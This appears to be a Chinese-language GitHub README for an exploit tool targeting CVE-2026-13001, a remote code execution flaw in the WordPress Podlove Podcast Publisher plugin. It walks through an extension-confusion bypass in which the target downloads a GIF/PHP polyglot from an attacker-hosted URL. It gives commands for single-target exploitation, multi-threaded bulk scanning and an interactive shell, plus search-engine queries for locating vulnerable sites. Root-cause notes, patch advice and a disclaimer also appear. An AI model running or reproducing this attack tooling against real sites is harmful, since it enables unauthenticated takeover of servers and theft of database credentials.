ghostpels/CVE-2026-13001
GitHub: ghostpels/CVE-2026-13001
针对 WordPress Podlove Podcast Publisher 插件扩展名混淆漏洞(CVE-2026-13001)的 Python 漏洞利用与批量扫描工具。
Stars: 0 | Forks: 0
# CVE-2026-13001
## Podlove Podcast Publisher <= 4.5.1 — 通过扩展名混淆实现未经身份验证的 RCE
### 概述
[Podlove Podcast Publisher](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/) WordPress 插件(版本 4.5.1 及更低版本)中存在严重漏洞,允许**未经身份验证的攻击者**通过图片缓存功能向服务器上传任意 PHP 文件,从而导致**远程代码执行 (RCE)**。
该漏洞利用了**两个内部函数之间的解析差异**,它们对文件扩展名的解析方式不同:
| 函数 | 方法 | 输入: `payload.php?.gif` | 结果 |
|---|---|---|---|
| `is_image()` | 先 `basename()` 后 `pathinfo()` | `payload.php?.gif` | `.gif` (通过验证) |
| `extract_file_extension()` | 先 `parse_url()` 后 `pathinfo()` | `/payload.php` | `.php` (保存至磁盘) |
### 漏洞详情
| 字段 | 值 |
|---|---|
| **CVE ID** | [CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001) |
| **CVSS** | 9.8 (严重) |
| **CWE** | CWE-20 (不当输入验证) |
| **插件** | Podlove Podcast Publisher |
| **受影响版本** | 4.5.1 及更低版本 |
| **修复版本** | 4.5.2 |
| **类型** | 未经身份验证的任意文件上传至 RCE |
| **研究员** | Talal Nasraddeen (通过 Wordfence) |
| **发布日期** | 2026 年 7 月 14 日 |
### 根本原因分析
该漏洞的存在是因为 Podlove 插件中的两个函数解析**同一个 URL**,但提取出的**文件扩展名**却不同:
#### 1. `is_image()` — 验证 (位于 `lib/helper.php`)
```
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
```
该函数检查:
- 通过 `exif_imagetype()` 进行基于内容的检查 - 需要有效的图片头 (GIF89a)
- 通过 `wp_check_filetype_and_ext()` 进行 WordPress 文件类型检查
- 扩展名黑名单 (php, php3, php4, php5, phtml, phar 等)
由于 `basename()` 包含了查询字符串,提取出的扩展名显示为 `gif` - 不在黑名单中。
#### 2. `extract_file_extension()` — 文件命名 (位于 `lib/model/image.php`)
```
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
```
文件在磁盘上保存时使用了 `.php` 扩展名。
### 攻击流程
```
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
```
### 安装说明
```
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
```
### 用法
#### 单一目标
```
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
```
#### 批量扫描
```
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
```
#### 交互模式 (直接访问上传的文件)
```
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
```
#### 调试模式
```
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
```
#### 选项
```
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
```
### Payload: GIF89a PHP Polyglot
`shell_polyglot.gif.php` 是一个 **polyglot 文件**,它作为 GIF 图像和 PHP 都是有效的:
```
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
```
**重要提示**:此 polyglot 必须作为**静态文件**托管(例如 Cloudflare R2、AWS S3、未启用 PHP 的 nginx)。如果托管服务器执行了 PHP,代码将直接在托管服务器上运行,而不会作为原始内容传递给目标。
### FOFA / Shodan / ZoomEye
```
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
```
### 影响
成功利用此漏洞将以 Web 服务器用户的身份导致**远程代码执行**:
- 从 wp-config.php 中提取数据库凭据
- 访问所有 WordPress 用户、文章和插件数据
- 部署持久化访问机制
- 横向渗透至内部网络
- 彻底接管服务器
### 修复建议
1. **升级** Podlove Podcast Publisher 至 **4.5.2** 或更高版本
2. **删除** `wp-content/cache/podlove/` 目录的内容
3. **审计** 服务器缓存目录中的未知 PHP 文件
4. **监控** 访问日志中可疑的 `podlove_image_cache_url` 请求
### 与 CVE-2025-10147 的关系
此漏洞是针对 CVE-2025-10147 (Podlove <= 4.2.6) **修复方案的一种绕过**。
| 方面 | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| 根本原因 | 完全没有文件类型验证 | 通过扩展名混淆绕过验证 |
| 技术 | 直接上传 PHP 文件 | GIF89a polyglot + URL 查询技巧 |
| 应用的修复 | 添加了带黑名单的 `is_image()` | 修复了扩展名解析的一致性 |
有关详细比较,请参阅 [analysis/CVE_COMPARISON.md](analysis/CVE_COMPARISON.md)。
### 参考链接
- [Wordfence 安全公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/podlove-podcasting-plugin-for-wordpress/podlove-podcast-publisher-451-unauthenticated-arbitrary-file-upload-via-podlove-image-cache-url-parameter)
- [GitHub 修复提交](https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387)
- [WordPress 插件页面](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-13001)
### 免责声明
**仅供教育和授权测试使用。**
此工具专为安全研究员和渗透测试人员设计,需在获得**明确的书面授权**后方可对目标系统进行测试。未经授权访问计算机系统是违法行为。对于滥用此工具的行为,作者**不承担任何责任**。
### 作者
**ghostpel-sec** — 安全研究与漏洞利用开发
### 许可证
本项目基于 [ghostpel-sec 安全研究许可证](LICENSE) 授权。
标签:CISA项目, Web安全, WordPress插件, 文件上传, 编程工具, 蓝队分析, 远程代码执行, 逆向工具